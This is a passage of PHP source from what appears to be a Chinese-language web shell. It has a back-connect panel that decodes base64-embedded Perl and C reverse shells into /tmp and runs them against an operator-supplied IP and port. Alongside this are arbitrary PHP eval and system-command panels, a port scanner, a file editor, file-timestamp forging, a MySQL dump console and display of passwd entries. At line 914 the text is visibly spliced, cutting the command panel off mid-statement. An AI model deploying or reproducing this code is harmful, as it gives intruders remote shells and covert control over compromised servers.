  669.                         }
  670.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" onclick="$(\'doing\').value=\'\'" style="height:50px;" type="submit" value="Query" /></td></tr></table></p>');
  671.                         if ($sql_query) {
  672.                                 $querys = @explode(';',$sql_query);
  673.                                 foreach($querys as $num=>$query) {
  674.                                         if ($query) {
  675.                                                 p("<p class=\"red b\">Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</p>");
  676.                                                 switch($DB->query_res($query))
  677.                                                 {
  678.                                                         case 0:
  679.                                                                 p('<h2>'.$DB->halt('Error').'</h2>');
  680.                                                                 break; 
  681.                                                         case 1:
  682.                                                                 $result = $DB->query($query);
  683.                                                                 $tatol = $DB->num_rows($result);
  684.                                                                 p('<table border="0" cellpadding="3" cellspacing="0">');
  685.                                                                 p('<tr class="head">');
  686.                                                                 $fieldnum = @mysql_num_fields($result);
  687.                                                                 for($i=0;$i<$fieldnum;$i++){
  688.                                                                         p('<td nowrap>'.@mysql_field_name($result, $i).'</td>');
  689.                                                                 }
  690.                                                                 p('</tr>');
  691.                                                                 if (!$tatol) {
  692.                                                                         p('<tr class="alt2" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'alt2\';"><td nowrap colspan="'.$fieldnum.'" class="red b">No records</td></tr>');
  693.                                                                 } else {
  694.                                                                         while($mn = $DB->fetch($result)){
  695.                                                                                 $thisbg = bg();
  696.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  697.                                                                                 //读取记录用
  698.                                                                                 foreach($mn as $key=>$inside){
  699.                                                                                         p('<td nowrap>'.(($inside == null) ? '<i>null</i>' : html_clean($inside)).'</td>');
  700.                                                                                 }
  701.                                                                                 p('</tr>');
  702.                                                                                 unset($b1);
  703.                                                                         }
  704.                                                                 }
  705.                                                                 p('</table>');
  706.                                                                 break;
  707.                                                         case 2:
  708.                                                                 p('<h2>Affected Rows : '.$DB->affected_rows().'</h2>');
  709.                                                                 break;
  710.                                                 }
  711.                                         }
  712.                                 }
  713.                         } else {
  714.                                 $query = $DB->query("SHOW TABLE STATUS");
  715.                                 $table_num = $table_rows = $data_size = 0;
  716.                                 $tabledb = array();
  717.                                 while($table = $DB->fetch($query)) {
  718.                                         $data_size = $data_size + $table['Data_length'];
  719.                                         $table_rows = $table_rows + $table['Rows'];
  720.                                         $table_num++;
  721.                                         $tabledb[] = $table;
  722.                                 }
  723.                                 $data_size = sizecount($data_size);
  724.                                 unset($table);
  725.                                 if (count($tabledb)) {
  726.                                         if ($highver) {
  727.                                                 $db_engine = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'storage_engine';"));                                          
  728.                                                 $db_collation = $DB->fetch($DB->query("SHOW VARIABLES LIKE 'collation_database';"));
  729.                                         }
  730.                                         $sort = array('Name', 1);
  731.                                         if($order) {
  732.                                                 if(preg_match('!s_([A-z_]+)_(\d{1})!', $order, $match)) {
  733.                                                         $sort = array($match[1], (int)$match[2]);
  734.                                                 }
  735.                                         }
  736.                                         usort($tabledb, 'cmp');
  737.                                         p('<table border="0" cellpadding="0" cellspacing="0" id="lists">');
  738.                                         p('<tr class="head">');
  739.                                         p('<td width="2%"><input name="chkall" value="on" type="checkbox" onclick="checkall(this.form)" /></td>');
  740.                                         p('<td><a href="javascript:setsort(\'s_Name_'.($sort[1]?0:1).'\');">Name</a> '.($order == 's_Name_0' ? $dchar : '').($order == 's_Name_1' || !$order ? $uchar : '').'</td>');
  741.                                         p('<td><a href="javascript:setsort(\'s_Rows_'.($sort[1]?0:1).'\');">Rows</a>'.($order == 's_Rows_0' ? $dchar : '').($order == 's_Rows_1' ? $uchar : '').'</td>');
  742.                                         p('<td><a href="javascript:setsort(\'s_Data_length_'.($sort[1]?0:1).'\');">Data_length</a>'.($order == 's_Data_length_0' ? $dchar : '').($order == 's_Data_length_1' ? $uchar : '').'</td>');
  743.                                         p('<td><a href="javascript:setsort(\'s_Create_time_'.($sort[1]?0:1).'\');">Create_time</a>'.($order == 's_Create_time_0' ? $dchar : '').($order == 's_Create_time_1' ? $uchar : '').'</td>');
  744.                                         p('<td><a href="javascript:setsort(\'s_Update_time_'.($sort[1]?0:1).'\');">Update_time</a>'.($order == 's_Update_time_0' ? $dchar : '').($order == 's_Update_time_1' ? $uchar : '').'</td>');
  745.                                         if ($highver) {
  746.                                                 p('<td>Engine</td>');
  747.                                                 p('<td>Collation</td>');
  748.                                         }
  749.                                         p('<td>Other</td>');
  750.                                         p('</tr>');
  751.                                         foreach ($tabledb as $key => $table) {
  752.                                                 $thisbg = bg();
  753.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  754.                                                 p('<td align="center" width="2%"><input type="checkbox" name="bak_table[]" value="'.$table['Name'].'" /></td>');
  755.                                                 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
  756.                                                 p('<td>'.$table['Rows'].' </td>');
  757.                                                 p('<td>'.sizecount($table['Data_length']).'</td>');
  758.                                                 p('<td>'.$table['Create_time'].' </td>');
  759.                                                 p('<td>'.$table['Update_time'].' </td>');
  760.                                                 if ($highver) {
  761.                                                         p('<td>'.$table['Engine'].'</td>');
  762.                                                         p('<td>'.$table['Collation'].'</td>');
  763.                                                 }
  764.                                                 p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a></td>');
  765.                                                 p('</tr>');
  766.                                         }
  767.                                         p('<tr class="head">');
  768.                                         p('<td width="2%"> </td>');
  769.                                         p('<td>'.$table_num.' table(s)</td>');
  770.                                         p('<td>'.$table_rows.'</td>');
  771.                                         p('<td>'.$data_size.'</td>');
  772.                                         p('<td> </td>');
  773.                                         p('<td> </td>');
  774.                                         if ($highver) {
  775.                                                 p('<td>'.$db_engine['Value'].'</td>');
  776.                                                 p('<td>'.$db_collation['Value'].'</td>');
  777.                                         }
  778.                                         p('<td> </td>');
  779.                                         p('</tr>');
  780.                                         p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"bak_path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"button\" value=\"Export selection table\" onclick=\"$('doing').value='dump';$('dbform').submit();\" /></td></tr>");
  781.                                         p("</table>");
  782.                                 } else {
  783.                                         p('<p class="red b">No tables</p>');
  784.                                 }
  785.                                 $DB->free_result($query);
  786.                         }
  787.                 }
  788.                 $DB->close();
  789.         }
  790.         formfoot();
  791. }//end mysql
  792. elseif ($act == 'backconnect') {
  793.         !$p2 && $p2 = $_SERVER['REMOTE_ADDR'];
  794.         !$p3 && $p3 = '12345';
  795.         $usedb = array('perl'=>'perl','c'=>'c');
  796.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  797.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  798.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  799.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  800.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  801.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  802.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  803.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  804.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  805.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  806.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  807.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  808.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  809.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  810.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  811.         if ($p1 == 'start' && $p2 && $p3 && $p4){
  812.                 if ($p4 == 'perl') {
  813.                         cf('/tmp/angel_bc',$back_connect);
  814.                         $res = execute(which('perl')." /tmp/angel_bc ".$p2." ".$p3." &");
  815.                 } else {
  816.                         cf('/tmp/angel_bc.c',$back_connect_c);
  817.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  818.                         @unlink('/tmp/angel_bc.c');
  819.                         $res = execute("/tmp/angel_bc ".$p2." ".$p3." &");
  820.                 }
  821.                 m('Now script try connect to '.$p2.':'.$p3.' ...');
  822.         }
  823.         formhead(array('title'=>'Back Connect', 'onsubmit'=>'g(\'backconnect\',null,\'start\',this.p2.value,this.p3.value,this.p4.value);return false;'));
  824.         p('<p>');
  825.         p('Your IP:');
  826.         makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
  827.         p('Your Port:');
  828.         makeinput(array('name'=>'p3','size'=>15,'value'=>$p3));
  829.         p('Use:');
  830.         makeselect(array('name'=>'p4','option'=>$usedb,'selected'=>$p4));
  831.         makeinput(array('value'=>'Start','type'=>'submit','class'=>'bt'));
  832.         p('</p>');
  833.         formfoot();
  834. }//end
  835. elseif ($act == 'portscan') {
  836.         !$p2 && $p2 = '127.0.0.1';
  837.         !$p3 && $p3 = '21,80,135,139,445,1433,3306,3389,5631,43958';
  838.         formhead(array('title'=>'端口扫描', 'onsubmit'=>'g(\'portscan\',null,\'start\',this.p2.value,this.p3.value);return false;'));
  839.         p('<p>');
  840.         p('IP:');
  841.         makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
  842.         p('Port:');
  843.         makeinput(array('name'=>'p3','size'=>80,'value'=>$p3));
  844.         makeinput(array('value'=>'扫描','type'=>'submit','class'=>'bt'));
  845.         p('</p>');
  846.         formfoot();
  847.         if ($p1 == 'start') {
  848.                 p('<h2>Result »</h2>');
  849.                 p('<ul class="info">');
  850.                 foreach(explode(',', $p3) as $port) {
  851.                         $fp = @fsockopen($p2, $port, $errno, $errstr, 1);
  852.                         if (!$fp) {
  853.                                 p('<li>'.$p2.':'.$port.' ------------------------ <span class="b">Close</span></li>');
  854.                    } else {
  855.                                 p('<li>'.$p2.':'.$port.' ------------------------ <span class="red b">Open</span></li>');
  856.                                 @fclose($fp);
  857.                    }
  858.                 }
  859.                 p('</ul>');
  860.         }
  861. }
  862. elseif ($act == 'eval') {
  863.         $phpcode = trim($p1);
  864.         if($phpcode){
  865.                 if (!preg_match('#<\?#si', $phpcode)) {
  866.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  867.                 }
  868.                 eval("?".">$phpcode<?");
  869.         }
  870.         formhead(array('title'=>'Eval PHP代码', 'onsubmit'=>'g(\'eval\',null,this.p1.value);return false;'));
  871.         maketext(array('title'=>'PHP 代码','name'=>'p1', 'value'=>$phpcode));
  872.         p('<p><a href="http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/" target="_blank">获得插件</a></p>');
  873.         formfooter();
  874. }//end eval
  875. elseif ($act == 'editfile') {
  876.         // 编辑文件
  877.         if ($p1 == 'edit' && $p2 && $p3) {
  878.                 $fp = @fopen($p2,'w');
  879.                 m('Save file '.(@fwrite($fp,$p3) ? 'success' : 'failed'));
  880.                 @fclose($fp);
  881.         }
  882.         $contents = '';
  883.         if(file_exists($p2)) {
  884.                 $fp=@fopen($p2,'r');
  885.                 $contents=@fread($fp, filesize($p2));
  886.                 @fclose($fp);
  887.                 $contents=htmlspecialchars($contents);
  888.         }
  889.         formhead(array('title'=>'创建/编辑文件', 'onsubmit'=>'g(\'editfile\',null,\'edit\',this.p2.value,this.p3.value);return false;'));
  890.         makeinput(array('title'=>'文件名:','name'=>'p2','value'=>$p2,'newline'=>1));
  891.         maketext(array('title'=>'文件内容:','name'=>'p3','value'=>$contents));
  892.         formfooter();
  893.         goback();
  894. }//end editfile
  895. elseif ($act == 'newtime') {
  896.         $filemtime = @filemtime($p1);
  897.         formhead(array('title'=>'Clone folder/file was last modified time', 'onsubmit'=>'g(\'file\',null,\'clonetime\',this.p2.value,this.p3.value);return false;'));
  898.         makeinput(array('title'=>'Alter folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
  899.         makeinput(array('title'=>'Reference folder/file','name'=>'p3','value'=>$cwd,'size'=>120,'newline'=>1));
  900.         formfooter();
  901.         formhead(array('title'=>'Set last modified', 'onsubmit'=>'g(\'file\',null,\'settime\',this.p2.value,this.p3.value);return false;'));
  902.         makeinput(array('title'=>'Current folder/file','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
  903.         makeinput(array('title'=>'Modify time','name'=>'p3','value'=>date("Y-m-d H:i:s", $filemtime),'size'=>120,'newline'=>1));
  904.         formfooter();
  905.         goback();
  906. }//end newtime
  907. elseif ($act == 'shell') {
  908.         formhead(array('title'=>'执行命令', 'onsubmit'=>'g(\'shell\',null,this.p1.value);return false;'));
  909.         p('<p>');
  910.         makeinput(array('name'=>'p1','value'=>htmlspecialchars($p1)));
  911.         makeinput(array('class'=>'bt','type'=>'submit','value'=>'执行'));
  912.         p('</p>');
  913.         formfoot();
  914.         if n scookie($key, $value, $life = 0, $prefix = 1) {
  915.         global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
  916.         $key = ($prefix ? $cookiepre : '').$key;
  917.         $life = $life ? $life : $cookielife;
  918.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  919.         setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
  920. }
  921. function loginpage() {
  922.         formhead();
  923.         makehide('act','login');
  924.         makeinput(array('name'=>'password','type'=>'password','size'=>'20'));
  925.         makeinput(array('type'=>'submit','value'=>'登录'));
  926.         formfoot();
  927.         exit;
  928. }
  929. function execute($cfe) {
  930.         $res = '';
  931.         if ($cfe) {
  932.                 if(function_exists('system')) {
  933.                         @ob_start();
  934.                         @system($cfe);
  935.                         $res = @ob_get_contents();
  936.                         @ob_end_clean();
  937.                 } elseif(function_exists('passthru')) {
  938.                         @ob_start();
  939.                         @passthru($cfe);
  940.                         $res = @ob_get_contents();
  941.                         @ob_end_clean();
  942.                 } elseif(function_exists('shell_exec')) {
  943.                         $res = @shell_exec($cfe);
  944.                 } elseif(function_exists('exec')) {
  945.                         @exec($cfe,$res);
  946.                         $res = join("\n",$res);
  947.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
  948.                         $res = '';
  949.                         while(!@feof($f)) {
  950.                                 $res .= @fread($f,1024);
  951.                         }
  952.                         @pclose($f);
  953.                 }
  954.         }
  955.         return $res;
  956. }
  957. function which($pr) {
  958.         $path = execute("which $pr");
  959.         return ($path ? $path : $pr);
  960. }
  961. function cf($fname,$text){
  962.         if($fp=@fopen($fname,'w')) {
  963.                 @fputs($fp,@base64_decode($text));
  964.                 @fclose($fp);
  965.         }
  966. }
  967. function dirsize($cwd) {
  968.         $dh = @opendir($cwd);
  969.         $size = 0;
  970.         while($file = @readdir($dh)) {
  971.                 if ($file != '.' && $file != '..') {
  972.                         $path = $cwd.'/'.$file;
  973.                         $size += @is_dir($path) ? dirsize($path) : sprintf("%u", @filesize($path));
  974.                 }
  975.         }
  976.         @closedir($dh);
  977.         return $size;
  978. }
  979. // 页面调试信息
  980. function debuginfo() {
  981.         global $starttime;
  982.         $mtime = explode(' ', microtime());
  983.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  984.         echo 'Processed in '.$totaltime.' second(s)';
  985. }
  986. // 清除HTML代码
  987. function html_clean($content) {
  988.         $content = htmlspecialchars($content);
  989.         $content = str_replace("\n", "<br />", $content);
  990.         $content = str_replace("  ", "  ", $content);
  991.         $content = str_replace("\t", "    ", $content);
  992.         return $content;
  993. }
  994. // 获取权限
  995. function getChmod($file){
  996.         return substr(base_convert(@fileperms($file),10,8),-4);
  997. }
  998. function PermsColor($f) {
  999.         if (!is_readable($f)) {
  1000.                 return '<span class="red">'.getPerms($f).'</span>';
  1001.         } elseif (!is_writable($f)) {
  1002.                 return '<span class="black">'.getPerms($f).'</span>';
  1003.         } else {
  1004.                 return '<span class="green">'.getPerms($f).'</span>';
  1005.         }
  1006. }
  1007. function getPerms($file) {
  1008.         $mode = @fileperms($file);
  1009.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1010.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1011.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1012.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1013.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1014.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1015.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1016.         else {$type = '?';}
  1017.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1018.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1019.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1020.         $group['read'] = ($mode & 00040) ? 'r' : '-';
  1021.         $group['write'] = ($mode & 00020) ? 'w' : '-';
  1022.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1023.         $world['read'] = ($mode & 00004) ? 'r' : '-';
  1024.         $world['write'] = ($mode & 00002) ? 'w' : '-';
  1025.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1026.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1027.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1028.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1029.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1030. }
  1031. function getUser($file) {
  1032.         if (function_exists('posix_getpwuid')) {
  1033.                 $array = @posix_getpwuid(@fileowner($file));
  1034.                 if ($array && is_array($array)) {
  1035.                         return ' / <a href="http://www.oicto.com/php-trojan-001/" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1036.                 }
  1037.         }
  1038.         return '';
  1039. }
  1040. function copy_paste($c,$f,$d){
  1041.         if(is_dir($c.$f)){
  1042.                 mkdir($d.$f);
  1043.                 $dirs = scandir($c.$f);
  1044.                 if ($dirs) {
  1045.                         $dirs = array_diff($dirs, array('..', '.'));
  1046.                         foreach ($dirs as $file) {
  1047.                                 copy_paste($c.$f.'/',$file, $d.$f.'/');
  1048.                         }
  1049.                 }
  1050.         } elseif(is_file($c.$f)) {
  1051.                 copy($c.$f, $d.$f);
  1052.         }
  1053. }
  1054. // 删除目录
  1055. function deltree($deldir) {
  1056.         $dirs = @scandir($deldir);
  1057.         if ($dirs) {
  1058.                 $dirs = array_diff($dirs, array('..', '.'));
  1059.                 foreach ($dirs as $file) {     
  1060.                         if((is_dir($deldir.'/'.$file))) {
  1061.                                 @chmod($deldir.'/'.$file,0777);
  1062.                                 deltree($deldir.'/'.$file);
  1063.                         } else {
  1064.                                 @chmod($deldir.'/'.$file,0777);
  1065.                                 @unlink($deldir.'/'.$file);
  1066.                         }
  1067.                 }
  1068.                 @chmod($deldir,0777);
  1069.                 return @rmdir($deldir) ? 1 : 0;
  1070.         } else {
  1071.                 return 0;
  1072.         }
  1073. }
  1074. // 表格行间的背景色替换
  1075. function bg() {
  1076.         global $bgc;
  1077.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1078. }
  1079. function cmp($a, $b) {
  1080.         global $sort;
  1081.         if(is_numeric($a[$sort[0]])) {
  1082.                 return (($a[$sort[0]] < $b[$sort[0]]) ? -1 : 1)*($sort[1]?1:-1);
  1083.         } else {
  1084.                 return strcmp($a[$sort[0]], $b[$sort[0]])*($sort[1]?1:-1);
  1085.         }
  1086. }
  1087. // 获取当前目录的上级目录
  1088. function getUpPath($cwd) {
  1089.         $pathdb = explode('/', $cwd);
  1090.         $num = count($pathdb);
  1091.         if ($num > 2) {
  1092.                 unset($pathdb[$num-1],$pathdb[$num-2]);
  1093.         }
  1094.         $uppath = implode('/', $pathdb).'/';
  1095.         $uppath = str_replace('//', '/', $uppath);
  1096.         return $uppath;
  1097. }
  1098. // 检查PHP配置参数
  1099. function getcfg($varname) {
  1100.         $result = get_cfg_var($varname);
  1101.         if ($result == 0) {
  1102.                 return 'No';
  1103.         } elseif ($result == 1) {
  1104.                 return 'Yes';
  1105.         } else {
  1106.                 return $result;
  1107.         }
  1108. }
  1109. // 获得文件扩展名
  1110. function getext($file) {
  1111.         $info = pathinfo($file);
  1112.         return $info['extension'];
  1113. }
  1114. function GetWDirList($path){
  1115.         global $dirdata,$j,$web_cwd;
  1116.         !$j && $j=1;
  1117.         $dirs = @scandir($path);
  1118.         if ($dirs) {
  1119.                 $dirs = array_diff($dirs, array('..','.'));
  1120.                 foreach ($dirs as $file) {
  1121.                         $f=str_replace('//','/',$path.'/'.$file);
  1122.                         if(is_dir($f)){
  1123.                                 if (is_writable($f)) {
  1124.                                         $dirdata[$j]['filename']='/'.str_replace($web_cwd,'',$f);
  1125.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1126.                                         $dirdata[$j]['chmod']=getChmod($f);
  1127.                                         $dirdata[$j]['perm']=PermsColor($f);
  1128.                                         $dirdata[$j]['owner']=getUser($f);
  1129.                                         $dirdata[$j]['link']=$f;
  1130.                                         $j++;
  1131.                                 }
  1132.                                 GetWDirList($f);
  1133.                         }
  1134.                 }
  1135.                 return $dirdata;
  1136.         } else {
  1137.                 return array();
  1138.         }
  1139. }
  1140. function sizecount($size) {
  1141.         $unit = array('Bytes', 'KB', 'MB', 'GB', 'TB','PB');
  1142.         for ($i = 0; $size >= 1024 && $i < 5; $i++) {
  1143.                 $size /= 1024;
  1144.         }
  1145.         return round($size, 2).' '.$unit[$i];
  1146. }
  1147. function p($str){
  1148.         echo $str."\n";
  1149. }
  1150. function makehide($name,$value=''){
  1151.         p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  1152. }
  1153. function makeinput($arg = array()){
  1154.         $arg['size'] = isset($arg['size']) && $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  1155.         $arg['type'] = isset($arg['type']) ? $arg['type'] : 'text';
  1156.         $arg['title'] = isset($arg['title']) ? $arg['title'].'<br />' : '';
  1157.         $arg['class'] = isset($arg['class']) ? $arg['class'] : 'input';
  1158.         $arg['name'] = isset($arg['name']) ? $arg['name'] : '';
  1159.         $arg['value'] = isset($arg['value']) ? $arg['value'] : '';
  1160.         if (isset($arg['newline'])) p('<p>');
  1161.         p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] />");
  1162.         if (isset($arg['newline'])) p('</p>');
  1163. }
  1164. function makeselect($arg = array()){
  1165.         $onchange = isset($arg['onchange']) ? 'onchange="'.$arg['onchange'].'"' : '';
  1166.         $arg['title'] = isset($arg['title']) ? $arg['title'] : '';
  1167.         $arg['name'] = isset($arg['name']) ? $arg['name'] : '';
  1168.         p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  1169.                 if (is_array($arg['option'])) {
  1170.                         foreach ($arg['option'] as $key=>$value) {
  1171.                                 if ($arg['selected']==$key) {
  1172.                                         p("<option value=\"$key\" selected>$value</option>");
  1173.                                 } else {
  1174.                                         p("<option value=\"$key\">$value</option>");
  1175.                                 }
  1176.                         }
  1177.                 }
  1178.         p("</select>");
  1179. }
  1180. function formhead($arg = array()) {
  1181.         !isset($arg['method']) && $arg['method'] = 'post';
  1182.         !isset($arg['name']) && $arg['name'] = 'form1';
  1183.         $arg['extra'] = isset($arg['extra']) ? $arg['extra'] : '';
  1184.         $arg['onsubmit'] = isset($arg['onsubmit']) ? "onsubmit=\"$arg[onsubmit]\"" : '';
  1185.         p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"".SELF."\" method=\"$arg[method]\" $arg[onsubmit] $arg[extra]>");
  1186.         if (isset($arg['title'])) {
  1187.                 p('<h2>'.$arg['title'].' »</h2>');
  1188.         }
  1189. }
  1190. function maketext($arg = array()){
  1191.         $arg['title'] = isset($arg['title']) ? $arg['title'].'<br />' : '';
  1192.         $arg['name'] = isset($arg['name']) ? $arg['name'] : '';
  1193.         p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"100\" rows=\"25\">$arg[value]</textarea></p>");
  1194. }
  1195. function formfooter($name = ''){
  1196.         !$name && $name = 'submit';
  1197.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="提交"></p>');
  1198.         p('</form>');
  1199. }
  1200. function goback(){
  1201.         global $cwd, $charset;
  1202.         p('<form action="'.SELF.'" method="post"><input type="hidden" name="act" value="file" /><input type="hidden" name="cwd" value="'.$cwd.'" /><input type="hidden" name="charset" value="'.$charset.'" /><p><input class="bt" type="submit" value="返回"></p></form>');
  1203. }
  1204. function formfoot(){
  1205.         p('</form>');
  1206. }
  1207. function encode_pass($pass) {
  1208.         $pass = md5($pass);
  1209.         return $pass;
  1210. }
  1211. function pr($a) {
  1212.         p('<div style="text-align: left;border:1px solid #ddd;"><pre>'.print_r($a).'</pre></div>');
  1213. }
  1214. class DB_MySQL  {
  1215.         var $querycount = 0;
  1216.         var $link;
  1217.         var $charsetdb = array();
  1218.         var $charset = '';
  1219.         function connect($dbhost, $dbuser, $dbpass, $dbname='') {
  1220.                 @ini_set('mysql.connect_timeout', 5);
  1221.                 if(!$this->link = @mysql_connect($dbhost, $dbuser, $dbpass, 1)) {
  1222.                         $this->halt('Can not connect to MySQL server');
  1223.                 }
  1224.                 if($this->version() > '4.1') {
  1225.                         $this->setcharset($this->charset);
  1226.                 }
  1227.                 $dbname && mysql_select_db($dbname, $this->link);
  1228.         }
  1229.         function setcharset($charset) {
  1230.                 if ($charset && $this->charsetdb[$charset]) {
  1231.                         if(function_exists('mysql_set_charset')) {
  1232.                                 mysql_set_charset($this->charsetdb[$charset], $this->link);
  1233.                         } else {
  1234.                                 $this->query("SET character_set_connection='".$this->charsetdb[$charset]."', character_set_results='".$this->charsetdb[$charset]."', character_set_client=binary");
  1235.                         }
  1236.                 }
  1237.         }
  1238.         function select_db($dbname) {
  1239.                 return mysql_select_db($dbname, $this->link);
  1240.         }
  1241.         function geterrdesc() {
  1242.                 return (($this->link) ? mysql_error($this->link) : mysql_error());
  1243.         }
  1244.         function geterrno() {
  1245.                 return intval(($this->link) ? mysql_errno($this->link) : mysql_errno());
  1246.         }
  1247.         function fetch($query, $result_type = MYSQL_ASSOC) { //MYSQL_NUM
  1248.                 return mysql_fetch_array($query, $result_type);
  1249.         }
  1250.         function query($sql) {
  1251.                 //echo '<p style="color:#f00;">'.$sql.'</p>';
  1252.                 if(!($query = mysql_query($sql, $this->link))) {
  1253.                         $this->halt('MySQL Query Error', $sql);
  1254.                 }
  1255.                 $this->querycount++;
  1256.                 return $query;
